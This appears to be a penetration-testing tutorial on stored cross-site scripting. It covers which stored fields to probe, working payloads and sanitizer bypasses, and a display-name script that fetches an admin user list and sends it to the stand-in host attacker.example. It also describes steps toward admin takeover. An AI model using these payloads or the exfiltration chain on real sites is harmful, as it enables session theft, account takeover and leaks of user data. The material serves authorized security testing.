Stored XSS: Payloads That Wait for the Next Visitor
Stored cross-site scripting persists in the database and executes against every viewer of a page. We cover where it lurks, which fields survive sanitization, and how to confirm execution.
Stored XSS is the dangerous sibling of the reflected variant: the payload is saved server-side and runs against everyone who later views the page — no link to send, no victim to lure, just whoever loads the content. Finding it means tracing input that gets persisted and rendered somewhere else, often to a different and higher-privileged user.
Where it hides
The pattern is "write here, render there," and the render target is frequently an admin or another user, which is what makes it potent. Map every field that is stored and later displayed:
- Profile fields — display name, bio, "about me", company, location.
- User-generated content — comments, reviews, forum posts, chat messages.
- Support tickets and contact forms that render in an agent's dashboard.
- Filenames, list/board titles, tags, and labels.
- Indirect sinks — a username that appears in an admin user list, an order note shown to staff.
The discovery method is to plant a unique canary in every writable field, then hunt for where it surfaces. The render location often differs from the input location, so check admin panels, other users' views, exports, and notification emails:
POST /api/profile HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{"display_name": "stored<svg/onload=alert(1)>canary"}
Then load every page that might render the name and look for the canary executing or sitting raw in the source. A second account (or an admin view you can reach) is invaluable, because the highest-impact stored XSS fires in someone else's session.
Reproducing it
Save a payload, then trigger the render. The two-step nature is the whole repro. Start by storing it:
POST /api/comments HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{"post_id": 42, "body": "<img src=x onerror=alert(document.domain)>"}
Now load the post page. If the comment renders and the alert fires, the stored payload executed. Because the body persists, every visitor to post 42 runs it until it is removed.
When the field is sanitized, probe what slips through. Sanitizers commonly miss:
- SVG and its event handlers:
<svg><animate onbegin=alert(1) attributeName=x dur=1s>. - Mixed-case and unusual tags:
<dEtAiLs OnToGgLe=alert(1) open>. - HTML entities that decode after filtering, or markup that re-forms when the framework rewrites it.
For fields that allow a Markdown or limited-HTML subset, a javascript: URL on a link or an onerror on an allowed <img> often survives:
[click](javascript:alert(document.domain))
)
A particularly valuable target is the indirect sink: store the payload in a field a human reviewer sees in a privileged context. For example, a malicious display_name that fires when an administrator opens the user-management table:
PATCH /api/account HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{"display_name": "<script>fetch('/api/admin/users').then(r=>r.text()).then(d=>new Image().src='https://attacker.example/x?d='+encodeURIComponent(d))</script>"}
When an admin views the list, your script runs as the admin and exfiltrates the user data their session can reach.
Confirming impact
Stored XSS that runs in a high-privilege session is close to account takeover. Demonstrate the strongest reachable primitive:
- Steal a session token or auth cookie that is readable from JavaScript.
- Read a CSRF token from the admin page and submit a privileged action (create an admin, change a password).
- Walk same-origin admin endpoints with
fetchand dump what comes back.
Document the chain end to end: the storing request, the page or role where it renders, and the fired alert or exfil request landing on your listener. Note whose session executed it — "fires in the admin dashboard" is far stronger than "fires on my own profile." Keep all testing on authorized scope using accounts you control.